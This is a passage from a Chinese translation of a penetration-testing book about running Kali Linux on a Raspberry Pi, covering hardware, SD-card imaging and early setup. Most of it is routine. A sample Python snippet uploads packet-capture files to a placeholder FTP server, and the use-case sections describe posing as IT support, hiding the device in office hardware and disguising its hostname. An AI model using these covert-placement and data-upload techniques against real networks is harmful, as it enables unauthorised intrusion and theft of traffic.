树莓派渗透测试(全)
树莓派渗透测试(全)
原文:
annas-archive.org/md5/B01251A066EDC0746D57AE457C88B6D0
译者:飞龙
前言
本书的重点是学习如何将 Kali Linux 的强大功能与树莓派的便携性和低成本相结合。结果是一个非常灵活的渗透测试平台,适用于不需要高处理能力的特定项目。我们已经使用这个工具集从远程位置进行渗透和漏洞测试,利用树莓派的便携性在不同位置秘密进行安全评估,并配置树莓派以便以很小的占地面积远程管理。此外,树莓派的低占地面积和低功耗意味着可以使用外部电池组 USB 在设备上连续运行一整天或两天。在树莓派上使用 Kali Linux 可以为渗透测试人员提供一种独特且具有成本效益的选择,以实现测试目标。
本书涵盖的内容
第一章 树莓派和 Kali Linux 基础知识,为你提供了购买树莓派、安装 Kali Linux、第一次访问 Kali Linux 以及解决常见问题的概述。
第二章 准备树莓派,为你提供了 Kali Linux ARM 镜像的概述,优化你的环境,并为使用树莓派进行本地和远程渗透测试做准备。
第三章 渗透测试,帮助你了解网络扫描、无线黑客、中间人攻击和破解加密通信。
第四章 树莓派攻击,为你提供了利用攻击工具、社会工程学、网络钓鱼和流氓访问蜜罐来利用目标的方法的概述。
第五章 结束渗透测试,帮助你捕获报告结果,并在渗透测试后覆盖你的踪迹。
第六章 其他树莓派项目,为你提供了其他渗透测试工具库、防御工具和其他树莓派用例的概述。
你需要什么来阅读本书
要将树莓派平台用作安全评估工具,第一章 树莓派和 Kali Linux 基础知识提供了如何购买树莓派和其他系统组件的详细信息,这些组件将在其他章节中使用。本书中提到的 Kali Linux 和其他软件应用程序都是开源的,意味着它们可以免费下载。
本书适合谁
本书的重点是将树莓派变成一个黑客工具库,利用最流行的开源渗透工具集 Kali Linux。如果你正在寻找一个低预算、小体积的黑客工具,可以远程访问,那么本书中的概念非常适合你。如果你是一名渗透测试人员,想要通过在目标网络上放置一个低成本节点来节省旅行成本,那么使用本书中介绍的方法可以节省成千上万的费用。如果你是一个新手渗透测试人员,想要获得实践经验,又不想在昂贵的硬件上花费大量资金,本书将帮助你入门。如果你是一个对黑客技术感兴趣的树莓派爱好者,本书也适合你。你不必是一个熟练的黑客或程序员来使用本书。拥有一些网络经验会有所帮助;但是,不需要遵循本书中介绍的概念。
惯例
在本书中,你会发现一些区分不同信息类型的文本样式。以下是一些这些样式的例子和它们含义的解释。
文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名显示如下:"您可以通过在终端窗口中输入iwconfig
命令来执行此操作。"
代码块设置如下:
import ftplib #importing ftp module in python
session = ftplib.FTP('server.IP.address.com','USERNAME','PASSWORD')
file = open('*.cap','rb') # file to send
session.storbinary('STOR *.cap', file) # send the file
file.close() # close file and FTP
session.quit() # Quit the ftp session
任何命令行输入或输出都以以下形式书写:
tcpdump src port 1099 and udp icmp and src port 20
新术语和重要词汇以粗体显示。例如,屏幕上显示的词语,例如菜单或对话框中的词语,会以这样的方式出现在文本中:"确保您选择正确的媒体,准备好后,点击格式按钮。"
注意
警告或重要提示会以这样的方式显示在框中。
提示
提示和技巧会显示为这样。
第一章:树莓派和 Kali Linux 基础知识
Kali Linux 是全球安全专业人员、黑客和研究人员用于安全和漏洞评估、攻击研究和风险测试的最流行的渗透测试平台之一。Kali Linux 提供了各种流行的开源工具,可用于渗透测试的各个方面。Kali Linux 已经从 BackTrack 5 R3 发展成为一个完整桌面操作系统的模型。
树莓派是一种极低成本的计算机,可以通过高清晰度多媒体接口(HDMI)插入显示器,并使用您自己的 USB 键盘和鼠标。许多计算机专家还记得计算机不会自动开机并开始运行的日子;你必须实际对它们做些什么。树莓派提供了一个以极其实惠的价格学习计算和编程的环境。人们利用设备的便携性和低成本来构建学习设备、远程摄像头、安全系统、地震探测器等许多其他项目。
在本章中,我们将涵盖以下主题:
-
购买和组装树莓派
-
安装 Kali Linux
-
结合 Kali Linux 和树莓派
-
克隆树莓派 SD 卡
-
避免常见问题
购买树莓派
在本书中,我们选择了树莓派 B+型号。如果您使用其他型号,您不会发现任何主要区别;但是,您可能需要调整一些东西以适应您的特定配置。
以下图片显示了树莓派 B+型号,并突出了 B 型和 B+型之间的区别:
与以前的型号相比,B+型的一些关键优势如下:
-
更多的 USB 端口
-
更好的热插拔能力
-
带有活动指示灯的新以太网口
-
支持 40 针通用输入/输出(GPIO)标头
-
背面的 MicroSD 卡而不是全尺寸 SD 卡
-
更低的功耗要求
有一些可用的树莓派捆绑产品,比如树莓派终极套件,在撰写本书时,该套件在美国www.amazon.com售价为 79.99 美元。该套件提供了一个树莓派 B+型号、外壳、电源适配器和 Wi-Fi 转接器。您也可以找到不包括电源适配器、SD 卡等的基本 B+型号。这意味着您可以在www.amazon.com上仅以约 40 美元购买芯板。一些任务,比如窃听,可能需要第二个以太网口,但树莓派默认只提供一个以太网口。
您可以购买一个约 11 美元的 USB 到以太网适配器来满足这一目的。此外,许多套件不包括大多数计算机读卡器的 SD 适配器。例如,便携式 MacBook Pro 计算机提供 SD 端口;但是,您需要花费不到 10 美元购买一个 MicroSD 适配器,以便格式化树莓派 MicroSD 卡。对于无线渗透测试,您需要购买约 10 美元的 USB 到无线适配器。总的来说,大多数树莓派组件都很便宜,使大多数系统的总项目成本在 50 美元至 100 美元之间。
以下图片显示了一个未打开的树莓派芯板的示例:
以下图片包含了一款在 eBay 上出售的树莓派捆绑产品的示例:
以下图片是一个 USB 到以太网适配器的示例:
以下图片是一个 MicroSD 到 SD 适配器的示例:
以下图片是一个 USB 到 Wi-Fi 适配器的示例:
CanaKit Wi-Fi 转接器对树莓派来说很好,因为它的尺寸、便携性和兼容性。
在本书中,我们将探讨如何将树莓派用作远程渗透测试代理,并利用其无线功能连接到中央管理系统。随着您对使用 Kali Linux 或其他渗透测试应用程序的树莓派变得更加熟悉和舒适,很可能您会在某个时候需要之前提到的组件。
以下是构建树莓派进行渗透测试的成本的摘要列表:
-
树莓派 B+型号的价格在 35 美元到 45 美元之间
-
USB 到无线适配器的价格在 10 美元到 20 美元之间
-
USB 到以太网适配器的价格在 10 美元到 20 美元之间
-
带 microSD 卡的 SD 到 microSD 转换器的价格在 10 美元到 20 美元之间
-
电源适配器的价格在 5 美元到 10 美元之间
-
移动渗透测试的 USB 电源适配器价格在 10 美元到 20 美元之间
入门套件的价格范围从 60 美元到 90 美元不等,具体取决于其中包含的内容。
提示
此列表不包括通常需要构建启动镜像的 HDMI 显示器、USB 键盘和 USB 鼠标。
组装树莓派
树莓派通常只是一个裸露的电路板。大多数人希望保护他们的投资,并在目标位置使用外壳隐藏他们的树莓派。大多数树莓派外壳设计为要么插入电路板,要么滑入设计用于固定树莓派的楔形间隙中。一旦您的树莓派正确安装,大多数外壳都有一个盖子来密封树莓派,同时暴露输入端口。
组装的下一步是连接输入和输出设备,如键盘、无线适配器和鼠标。树莓派 B+型号提供了四个 USB 输入端口供此用途。还有一个 HDMI 输出,用于连接到显示器。对于电源,树莓派使用 5V 微型 USB 电源,可以来自 USB 集线器、电源适配器或其他设备。树莓派的大脑是安装在 microSD 卡上的软件;然而,在将其插入树莓派之前,我们需要先在其上安装 Kali Linux 镜像。
注意
一些树莓派 microSD 卡预装了软件。建议在为 Kali Linux 格式化 microSD 卡之前克隆此软件,以便您有备份副本。克隆 microSD 卡的过程将在本章后面介绍。
准备 microSD 卡
现在您的树莓派已经组装好了,我们需要安装 Kali Linux。大多数计算机没有 microSD 卡插槽;然而,许多系统,如苹果 MacBook 提供 SD 插槽。如果您的系统没有 SD 插槽,也可以购买非常便宜的外部基于 USB 的 SD 和 microSD 适配器。在我的例子中,我将使用一个带有 SD 驱动器和 microSD 适配器的 MacBook 来格式化我的树莓派 microSD 卡。
提示
您的树莓派 microSD 卡应该至少有 8GB 的容量才能正常运行 Kali Linux。您还需要确保 microSD 卡是高性能的。我们建议大多数项目至少使用 10 级卡。
以下图片显示了一个 10 级 Kingston 8GB microSD 卡:
一旦您找到了在计算机上使用 microSD 卡的方法,您将需要格式化该卡。您可以从 SD 协会的www.sdcard.org上获得一个免费的实用工具,如下截图所示:
此实用程序将允许您正确格式化您的卡。您可以按照以下步骤下载它:
-
通过您的网络浏览器前往
www.sdcard.org/home/
。 -
在左侧菜单栏中,选择下载。
-
然后,选择SD 卡格式化程序 4.0。
-
然后,选择您的平台。Mac 和 Windows 版本都可用。
-
最后,接受最终用户许可协议,下载软件并安装。
下载并插入 SD 卡后,启动SD Card Formatter应用程序。确保选择正确的媒体,准备就绪后,点击格式化按钮。这将擦除 SD 卡上的所有信息,并为您的 Kali Linux 安装做好准备。
确保格式化正确的驱动器,否则可能会擦除其他来源的数据。
提示
在格式化 microSD 卡之前,请务必备份现有镜像,以避免丢失默认软件或其他数据。本章后面将介绍克隆 microSD 卡。
以下屏幕截图显示了SDFormatter应用程序的启动:
如果您是苹果用户,可以通过点击Finder并输入Disk Utility
来使用 Disk Utility。如果您的 microSD 卡安装正确,您应该将其显示为Drive选项。点击 microSD 卡,选择中间的第二个选项卡Erase。我们建议您使用MS-DOS(FAT)进行格式化。您不需要为 microSD 卡命名,所以将Name留空。接下来,点击Erase...按钮进行格式化。
以下屏幕截图显示了 Disk Utility 的启动:
安装 Kali Linux
您现在可以在 Raspberry Pi 上下载 Kali Linux 了。默认情况下,针对 Raspberry Pi 的 Kali Linux 安装针对 Pi 设备的内存和 ARM 处理器进行了优化。我们发现这对特定的渗透目标效果很好。如果尝试添加太多工具或功能,您会发现设备的性能令人不满意,并且可能无法用于实验室环境之外的任何用途。使用 Kali Linux metapackages 可以在 Raspberry Pi 上进行完整安装,这超出了本书的范围。对于需要完整安装 Kali Linux 的用例,我们建议您使用更强大的系统。
要在 Raspberry Pi 上安装 Kali Linux,您需要从 Offensive Security 下载定制的 Raspberry Pi 镜像。您可以从www.offensive-security.com/kali-linux-vmware-arm-image-download/
进行下载。
以下图像显示了可供下载的Kali Linux 自定义 ARM 镜像:
提示
最佳做法是计算并比较镜像的SHA1SUM哈希以验证在安装之前未被篡改。
下载完镜像后,您需要将其写入 microSD 卡。如果您使用的是 Linux 或 Mac 平台,可以使用命令行中的dd
内置实用程序。如果您使用的是 Windows 系统,可以使用Win32 Disk Imager实用程序。
Win32 Disk Imager 实用程序是一个免费工具,用于将原始镜像写入 SD/microSD 卡。如果您使用 USB 适配器来使用 microSD 卡,可能会遇到工具无法正常工作的困难,因为一些人报告了这个问题。
您可以从sourceforge.net/projects/win32diskimager/
下载 Win32 Disk Imager 实用程序。
工具下载完成后,您只需选择镜像文件和可移动介质,即可开始镜像写入过程。此过程可能需要一段时间才能完成。在我们的系统上,完成这一过程大约需要 30 分钟。
您现在可以安装之前下载的 Kali Linux 镜像了。将存档解压缩到您的桌面上。您可以使用诸如 7-Zip 之类的实用程序来解压缩存档。
以下屏幕截图显示了Win32 Disk Imager实用程序:
如果您使用的是 Mac 平台,第一步是确定操作系统从何处读取您的 SD 卡。您可以通过终端发出diskutil list
命令来执行此操作,如下面的屏幕截图所示:
从屏幕截图中可以看出,我的 SD 卡被列为disk1
。您还可以看到我在 microSD 卡上有现有分区。这表明我没有格式化我的媒体。您应该回到本章的开头,确保在继续之前已经格式化了您的媒体。
尽管我更喜欢使用之前描述的 SD 卡格式化应用程序,但您也可以通过以下步骤直接从 Mac 命令行格式化 SD 卡:
-
首先,您需要通过发出
diskutil unmountDisk /dev/disk1
命令卸载您的 SD 卡。 -
您现在可以通过发出
sudo newfs_msdos -F 16 /dev/disk1
命令来格式化 SD 卡。(确保选择正确的磁盘。否则可能会导致灾难性后果。)
提示
强烈建议您在格式化之前使用分区工具清除任何分区。
- 您将被要求输入您的 Mac OS 系统/管理员密码。
提示
在需要 SD 卡号的命令中,我使用了disk1
,因为我的 SD 卡在我的操作系统中自动分配为disk1
。您的操作系统可能会为您的 SD 卡分配不同的磁盘号。在发出命令时,请确保包括您的磁盘号。
在复制镜像之前格式化 SD 卡被认为是最佳实践。需要注意的一点是,我们将使用dd
命令,这意味着不需要格式化您的 SD 卡,因为dd
命令执行的是从镜像到 SD 卡的逐位复制。建议进行格式化以防止其他错误和异常。
您现在可以安装您之前下载的 Kali Linux 镜像。现在,将存档解压缩到您的桌面。您可以使用诸如The Unarchiver或Keka之类的实用程序在 Mac 上解压缩存档。
然后,确定您未压缩的镜像的名称。在我的示例中,我的未压缩的镜像名称是kali-1.0.9-rpi.img
。您将再次需要确定系统如何看待您的 SD 卡。您可以再次通过发出diskutil list
命令来执行此操作。
您可以通过发出以下命令来创建和安装镜像(可能会再次要求您的 Mac OS 系统/管理员密码):
sudo dd if=~/Desktop/kali-1.0.9-rpi.img of=/dev/disk1
以下图片显示了上一个命令的启动:
在将镜像写入 microSD 卡时,命令提示符将冻结。坐下来放松一下,因为这个过程可能需要一些时间。在我的系统上,它花了超过 30 分钟才完成。
提示
您可以通过按下Ctrl + T并向正在运行的进程发送SIGINFO
命令来查看dd
进程的进展。
以下图片显示了将镜像写入 microSD 卡时命令提示符冻结的情况:
注意
如果您在 OS X 系统上将镜像写入 microSD 卡时没有包括sudo
命令,可能会遇到权限被拒绝的错误。如果您使用此命令的变体,请确保sudo
命令适用于整个命令,使用括号,否则您可能仍会遇到此错误。
安装镜像完成后,只需将 microSD 卡插入树莓派,并通过插入其电源来启动系统。启动系统可能需要最多 5 分钟。您将能够使用root
作为用户名和toor
作为密码登录系统。如果您希望启动图形环境,只需在终端中键入startx
。恭喜!您现在在树莓派上拥有一个可用的 Kali 系统。
注意
系统启动可能需要一些时间。树莓派支持图形用户界面(GUI),您可以使用startx
命令来调用它。但是,我们建议您只在树莓派上使用命令行。如果您发出startx
命令,GUI 可能需要长达 20 分钟才能加载,并且可能会非常缓慢或无响应。
结合 Kali Linux 和树莓派
Kali Linux 树莓派镜像经过优化,适用于树莓派。当您使用 Kali Linux 镜像启动树莓派时,您需要使用root
作为用户名和toor
作为密码进行登录。我们建议您一旦登录就立即发出passwd
命令来更改默认密码。大多数攻击者都知道 Kali Linux 的默认登录信息,因此明智的做法是保护您的树莓派免受不必要的外部访问。
以下屏幕截图显示了passwd
命令的启动以重置默认密码:
当您发出startx
命令时,您的屏幕可能会在几分钟内变空。这是正常的。当您的X Windows(GUI)桌面加载时,它会询问您是否要使用默认工作区还是空白工作区。选择默认工作区。在您做出选择后,桌面可能会尝试重新加载或重绘。在完全加载之前可能需要几分钟。
以下屏幕截图显示了startx
命令的启动:
您需要做的第一件事是升级操作系统和软件包。升级过程可能需要一些时间,并且在过程中会显示其状态。接下来,您需要确保在 X Windows(GUI)环境中升级系统。许多用户报告说,除非在 X Windows 环境中,否则组件不会完全升级。在启动apt-get upgrade
命令之前,使用startx
命令访问 X Windows 环境。
以下屏幕截图显示了apt-get update
命令的启动:
以下屏幕截图显示了apt-get upgrade
命令的启动:
以下是打开 Kali Linux GUI 所需遵循的步骤:
-
确保您在 X Windows 桌面中(使用
startx
)。 -
打开终端命令。
-
输入
apt-get update
命令。 -
输入
apt-get upgrade
命令。 -
输入
sync
命令。 -
输入
sync
命令。 -
输入
reboot
命令。
升级系统后,发出sync
命令(作为个人偏好,我们发出此命令两次)。通过发出reboot
命令重新启动系统。几分钟后,您的系统应重新启动并允许您重新登录系统。发出startx
命令以打开 Kali Linux GUI。
以下屏幕截图显示了sync
和reboot
命令的启动:
您需要在 X Windows(GUI)环境中使用apt-get update
和apt-get upgrade
命令升级系统。否则可能会导致 X Windows 环境不稳定。
此时,您已准备好使用运行 Kali Linux 的树莓派开始渗透练习。
树莓派的利弊
正如本书的各个部分所述,树莓派旨在成为一种廉价的计算选项,可用于各种用途。廉价的系统提供有限的计算能力,因此在使用树莓派进行任何类型的渗透测试时的一个主要缺点是其缺乏运行资源密集型任务的能力。因此,强烈建议您仅将树莓派用于特定任务,而不是作为攻击工具库,因为完整的 Kali Linux 安装在有限的 Kali Linux ARM 架构上提供了更多工具。
以下两个屏幕截图显示了 Kali Linux ARM 架构中一个工具集类别的选项与完整的 Kali Linux 安装之间的区别。我们还发现,在从 GUI 运行 Kali Linux ARM 中的一些工具时,它们并不正常工作,或者根本失败了。在比树莓派更强大的系统上,你会在完整的 Kali Linux 安装中找到更可靠的工具。以下是 Kali Linux ARM 截图,显示了Live Host Identification工具,即ncat和nmap:
这是完整安装的Kali Linux中相同Live Host Identification类别的工具选项。如下截图所示,提供了更多的选项:
树莓派渗透测试用例
树莓派有很多用途,不仅仅是因为它很“酷”。第一个用例是将低成本的远程渗透测试节点部署到难以到达的地点。一个例子是,当你向中国、英国和澳大利亚的分公司提供带宽有限的渗透测试服务时,你可以让客户支付建立树莓派和将每个盒子运送到目的地的成本,而不是飞往每个地点。你可以让当地的人插入树莓派作为网络监听器,并远程执行渗透测试,从而大大节省旅行和硬件成本。在大多数情况下,由于成本低廉,你可能会让客户在渗透测试后移除并保留树莓派。通过这种方法,你可以为客户节省成千上万美元,而不是使用平均每个地点成本更高的企业云扫描工具。
另一个用例是通过声称自己是 IT 或电话支持代表进行维护,从而滥用普通用户的信任,物理访问目标位置。树莓派芯片板可以隐藏在任何官方外观的硬件中,比如清理思科交换机、集线器等,并将树莓派放在一个端口上。普通用户不会质疑看起来像是属于那里的网络盒子。
在这两种用例中,树莓派的主要卖点是其低成本,这意味着丢失一个系统不会让你破产。此外,这两种用例都展示了树莓派由于其小巧的外形而非常适合移动。因此,树莓派是更昂贵的远程渗透工具集的一个很好的替代品,比如PWNIE Express提供的工具(我们并不是说 PWNIE Express 的工具不酷或不值得拥有,但它们的成本远高于树莓派的方法)。顺便说一句,你也可以在树莓派上运行 PWNIE Express 软件的轻量版,这在本书的最后部分有提及。
考虑使用树莓派的一个常见原因是其设计的灵活性、软件和在线社区。有成千上万的网站专门用于树莓派的各种用例。因此,如果遇到问题,你很可能会在谷歌上找到解决方案。有许多操作系统和几乎所有东西都是开源的。这使得许多设计需求成为可能,比如需要为移动教室开发大量经济实惠的系统。
有了 Raspberry Pi,可能性是无限的。关于渗透测试,Kali Linux 几乎提供了您进行基本练习所需的一切。Kali Linux ARM 有限;但是,只要工具不需要大量计算能力,您可以随时使用apt-get
下载任何缺失的工具,以满足您对渗透测试练习的要求。我们将在本书的后面介绍如何下载缺失的工具。所以,花 50 美元至 100 美元购买一个 Raspberry Pi,并查看在线社区,了解如何将您的 Raspberry Pi 提升到更高水平的更多信息。
克隆 Raspberry Pi SD 卡
建议在将 Raspberry Pi 格式化为 Kali Linux 安装之前备份原始系统软件。大多数 Raspberry Pi microSD 卡都带有一种新开箱即用软件(NOOBS),其中包含各种操作系统选项,您可以从中选择主操作系统。如果您已经擦除了您的 microSD 卡,可以从www.raspberrypi.org/downloads/
下载 NOOBS 软件。
SD 卡的克隆过程非常简单。许多 Windows 实用程序,如前面章节介绍的 Win32 Disk Imager,将制作 SD 卡的精确副本。在 Mac 上,打开命令提示符以识别您的 SD 卡,并键入diskutil list
命令:
在上面的截图中,我的 microSD 卡是/dev/disk1。在您的系统上,您的 microSD 卡可能不同,因此请务必进行验证。我可以通过创建磁盘映像并将其保存到桌面来克隆我的卡。我将发出以下命令:
sudo dd if=/dev/disk1 of=~/Desktop/raspberrypi.dmg
以下截图显示了在执行命令之前我必须输入密码:
克隆 SD 卡的过程可能需要长达 30 分钟。创建镜像的速度将取决于 microSD 卡的大小和速度,上面的数据量以及您的计算机的速度。换句话说,要有耐心,让它复制。
注意
如果您在 OS X 系统上将镜像写入 microSD 卡时遇到权限被拒绝的错误,如果不包括sudo
命令,则可能会遇到问题。如果您使用此命令的变体,请确保sudo
命令适用于整个命令,使用括号,否则您可能仍会遇到此错误。
避免常见问题
最糟糕的事情之一就是按照书上的指示进行操作时遇到错误。我们曾经为多个 Raspberry Pi 系统创建镜像,有时会遇到有趣的,有时会遇到不愉快的行为。以下是我们遇到的一些问题及其建议的解决方法:希望这能节省您花在摔头上的时间。
-
电源问题:我们尝试使用 5V 微型 USB 电源的小型 USB 钥匙链电源适配器,以使我们的系统非常便携。有时这些适配器有效,有时它们只是显示 Raspberry Pi 已经供电,但系统没有启动。请务必测试,因为有时您可能会发现某些电源适配器不起作用。大多数 Raspberry Pi 系统的侧面有灯,显示红色为电源,黄色为正常运行时。查看您型号的制造商网站以获取更多详细信息。
-
MicroSD 卡阅读问题:我们听说有些人的 MicroSD 卡读卡器在插入系统后无法识别 SD 卡。一些 Mac 用户声称他们不得不“对着 SD 读卡器孔吹气”,而其他人发现他们不得不使用外部读卡器才能使 MicroSD 卡被系统识别。我们建议您尝试另一个系统。如果您要购买 MicroSD 转换器,请确保卖家已将其列为树莓派 MicroSD 兼容。外部 MicroSD 读卡器的价格不应超过 10 美元。您还可以按照
elinux.org/R-Pi_Troubleshooting
上提供的故障排除步骤进行操作。
如果您发现安装图像到 MicroSD 卡后树莓派不起作用,请验证 MicroSD 卡是否正确插入。您应该听到轻微的点击声,并且它应该在弹簧支撑的帮助下弹入和弹出。如果它似乎没有正确滑入,那么 MicroSD 卡可能是颠倒的,或者是错误类型的卡。如果您正确插入 MicroSD 卡,但系统启动后什么也没有发生,请确保您使用了正确的电源。下一个问题可能是图像没有正确安装。我们发现一些人在dd
过程中,他们的计算机进入了睡眠模式,导致只有部分 Kali Linux 图像被复制。请确保您验证图像是否正确复制。还要验证您下载的图像是否真实。Offensive Security 包括 SHA1SUM,用于验证图像是否被篡改。另一个问题可能是您解压 tar 文件的方式。请确保您使用有效的方法,否则图像文件可能会损坏。如果您注意到图像正在引导,请在命令提示符可用之前观察引导顺序以查看错误消息。
-
权限被拒绝:许多 Mac 用户发现他们没有适当的权限来运行
dd
命令。这可能是由几个原因引起的。首先,请确保您的 MicroSD 卡或 SD 适配器没有物理设置的保护模式。接下来,请确保读卡器和适配器正常工作。有报道称 MAC 用户不得不“对着 SD 读卡器吹气”以清除灰尘并使其正常工作。请确保您按照先前的警告所述对整个语句使用sudo
命令。如果错误仍然存在,请尝试使用外部 MicroSD 读卡器,因为您当前的读卡器可能允许格式化,但在dd
命令方面存在问题。 -
startx 后出现空白屏幕:如果您访问命令行并输入
startx
,您应该看到树莓派启动 Kali Linux GUI。这可能需要几分钟的时间,具体取决于您的树莓派的大小和速度,以及您安装了什么。如果您安装了太多应用程序,使您的系统混乱,您可能会发现它们会压倒您的树莓派并冻结 GUI。正如前面所述,我们强烈建议将树莓派用于有限功能的定向渗透目标,而不是加载比必要更多的工具。如果您的任务需要大量处理能力或完整版本的 Kali Linux,那么应考虑使用更强大的其他系统而不是树莓派。此外,我们发现许多应用程序在命令行中运行比从 GUI 启动更好。建议尽可能在命令行中使用 Kali Linux。 -
startx
后出现工作鼠标的空白屏幕:我们在从终端窗口运行apt-get update
并重新启动系统后,遇到了这个问题。在第二次启动时,我们运行了startx
,发现系统似乎正常启动;然而,我们却卡在了一个空白屏幕和一个工作的鼠标上。如果在关闭系统之前有一个打开的网络浏览器,那么浏览器也会出现;但是,如果我们关闭了它,那么我们就只能看到一个在空白屏幕上滚动的鼠标。有时,即使我们没有进行更新,我们的树莓派在第二次startx
启动后也会出现这种情况。
这个问题是由一些文件在运行apt-get update
时没有正确更新引起的,这会导致显示适配器的问题或者只是您安装的 Kali Linux 版本的一般问题。对此有两种可能的解决方法。
您很可能是在 X Windows 环境之外运行了apt-get update
和apt-get upgrade
命令。因此,您需要重新镜像并使用新版本的 Kali Linux 运行您的 microSD 卡,在 X Windows 环境中运行apt-get update
和apt-get upgrade
,然后同步并重新启动系统。遵循这些确切的步骤以避免出现问题。
第二个解决方法是重新镜像您的 microSD 卡,使用新版本的 Kali Linux,并不运行apt-get update
命令。我知道这一点,但有些人会花两个星期来解决问题,而他们本可以花 30 分钟重新镜像并继续。请记住,即使您遵循了本书中提供的更新和升级程序,在使用树莓派上的 Kali Linux 之前,您可能仍会遇到空白屏幕和工作鼠标的问题。
- Kali Linux 程序在 GUI 中找不到:我们发现树莓派的某些版本的 Kali Linux ARM 镜像在启动后,输入
startx
后会正常启动 GUI,但是在 GUI 加载完成后,在应用程序下拉菜单中找不到 Kali Linux 工具。这与之前解释的显示问题类似,这意味着可以通过执行本书中解释的apt-get update
和apt-get upgrade
步骤来解决这个问题,这些步骤告诉您第一次登录 GUI 后该做什么。更新和升级过程应该安装和升级导致此问题的任何损坏文件。我们曾经发现,在经过推荐的更新和升级过程后,成功升级和重新启动系统后,Kali Linux 软件出现在应用程序菜单下。
提示
解决问题的一个很好的资源是elinux.org/R-Pi_Troubleshooting
。
总结
在本章中,我们讨论了购买硬件的选项以及如何组装树莓派。我们讨论了推荐的硬件配件,如 microSD 卡和 Wi-Fi 适配器,以便您能够完成本书中给出的步骤。
一旦我们讨论了购买适当的硬件,我们就会为您介绍在树莓派上安装 Kali Linux 的最佳实践程序。这包括详细的格式化和升级 Kali Linux 的过程,以及我们遇到的可能的常见问题的解决方法。在本章结束时,您应该已经在树莓派上拥有一个完全可用的 Kali Linux 安装,更新的软件,并且一切都在您的树莓派上运行以进行基本设置。
在下一章中,我们将讨论将树莓派用作渗透测试平台的优势。我们将介绍如何优化树莓派上的 Kali Linux 应用程序,以及如何远程控制和管理您的树莓派作为 Kali Linux 攻击平台。
第二章:准备树莓派
树莓派应该被视为一个性能不足的安全评估平台。这是因为它被设计为一个低成本、便携式计算机,主要面向教育工作者和爱好者。这个开放平台在计算能力上可能有限,但它确实提供了许多强大的用例,安全专业人员可以利用它进行渗透测试和其他服务。本章的重点将是如何准备运行 Kali Linux(或其他平台)的树莓派进行渗透测试。
本章将涵盖以下主题:
-
树莓派用例
-
指挥和控制服务器
-
为渗透测试做准备
-
超频
-
设置无线网卡
-
使用 Kali Linux 设置 3G USB 调制解调器
-
设置 SSH 服务
-
SSH 默认密钥和管理
-
通过 SSH 进行反向 shell
-
Stunnel
-
以一个例子结束
树莓派用例
树莓派是安全专业人员从大型分布式组织的远程站点收集信息的常见需求。许多人利用专门用于漏洞评估的商业工具来解决这种情况;然而,由于预算有限或供应商合作伙伴要求,您可能无法获得这些工具。这种情况的一个例子是,本书的作者们不得不参与一个包括世界各地多个地点的安全评估。对于这个项目,不可能到每个地点去提供本地渗透测试服务。为了克服这个问题,我们发送了配置了 Kali Linux 的树莓派设备到每个地点,并以非常实惠的价格远程评估了网络的漏洞。我们将在本章末尾更详细地介绍这个参与案例。
树莓派的另一个有价值的用例是当安全专业人员希望长时间留下设备在现场时。在先前的例子中,将高端系统运送并留在每个位置是不划算的。树莓派还具有隐蔽价值,通过其小巧的外形和对较大、更强大系统的适度功耗要求,可以作为便携设备。人们不太可能识别或篡改一个较小的、未知的黑匣子,比如隐藏在打印机电源线中的树莓派,而不是放在不起眼区域的随机笔记本电脑。对于黑盒测试来说,将树莓派隐藏在常见的办公用品如时钟、灯和打印机中是非常有用的。在本章中,我们将讨论如何通过使用一个或多个树莓派系统从集中攻击的角度利用远程位置,使这个概念更加有效。
以下图片显示了一个放置在猫钟中的树莓派:
指挥和控制服务器
正如我们在其他章节中所述,树莓派并不是一台强大的机器。为了克服这个弱点,最佳实践是以受控的方式捕获数据,或者在使用 Kali Linux 时利用离线计算。我们发现,如果不这样做,使用大多数攻击工具时会使处理器不堪重负,或者在查看捕获的数据时会迅速消耗有限的本地存储空间。我们将在第三章 渗透测试 的 调整您的网络捕获 部分中介绍过滤捕获的数据。
当计划远程访问多个树莓派系统时,我们建议设置一个中央命令和控制(C&C)服务器,而不是单独访问每个盒子。C&C 服务器应该是一个更强大的系统,如传统服务器,因此它可以专注于 CPU 密集型任务,如通过暴力破解密码。更重要的是,任务还可以包括使用 C&C 服务器执行实际的分析和利用,而不是在树莓派上本地执行。一个例子是,进行钓鱼攻击,将用户流量发送到树莓派,然后再发送到 C&C 服务器进行漏洞和利用分析。
准备进行渗透测试
我们在第一章中介绍的 Kali Linux ARM 镜像已经针对树莓派进行了优化。然而,我们发现建议执行一些额外的步骤,以确保您在最稳定的模式下使用 Kali Linux,以避免使树莓派崩溃。具体步骤如下:
-
第一个建议的步骤是执行操作系统更新,详细描述在第一章中。我们不会在这里重复这些步骤,所以如果您还没有更新您的操作系统,请返回第一章,并按照说明进行操作。
-
您应该执行的下一步是正确识别您的树莓派。Kali Linux 镜像附带一个通用主机名。要更改主机名,请使用
vi
编辑器(尽管您可以使用任何您喜欢的编辑器;即使您是 nano 的粉丝,我们也不会太苛刻),并使用vi /etc/hostname
命令,如下面的屏幕截图所示:
这个文件中应该只有您的主机名。您可以从我的例子中看到,我正在将我的主机名从Kali
更改为RaspberryPi
,如下面的屏幕截图所示:
-
您还需要编辑
/etc/hosts
文件以修改主机名。这也可以使用vi
编辑器完成。您需要确认您的主机名是否在hosts
文件中正确设置。下面的屏幕截图显示了我如何将默认主机名从Kali
更改为RaspberryPi
。 -
确保在编辑后保存文件。保存后,重新启动系统。您会注意到主机名已更改,并将反映在新的命令提示符中。
提示
在黑盒测试环境中,使用 HP Jetdirect 等常见名称作为融入网络的手段可能是有益的。
超频
树莓派超频可以提高性能。这样做的风险也可能大大缩短硬件的寿命。超频可能需要更多的电源来供应树莓派,所以如果你的电源来源不足,超频可能会导致问题。我们在超频树莓派时遇到了一些问题,导致 microSD 卡和操作系统出现了损坏的情况。
注意
只有在您能够接受可能永久损坏系统的风险时,才对树莓派进行超频。
要超频树莓派,您可以使用 raspi-config 应用程序进行高级硬件操作。不幸的是,这个应用程序不随 Kali Linux 镜像一起提供,需要一些配置。不用担心,我们已经为您制定了以下步骤,让您可以轻松跟随。它们是:
- 从您的树莓派命令行中输入:
wget http://www.drchaos.com/wp-content/uploads/2014/09/raspberry_pi_overclock_files.zip
提示
您还可以使用官方链接下载必要的文件:
以下截图显示了上述命令的启动:
-
您需要使用
unzip
命令解压这些文件,如以下截图所示: -
接下来,转到刚刚解压缩的目录,您将看到其中有一些文件,如以下截图所示:
-
在终端窗口中输入以下命令:
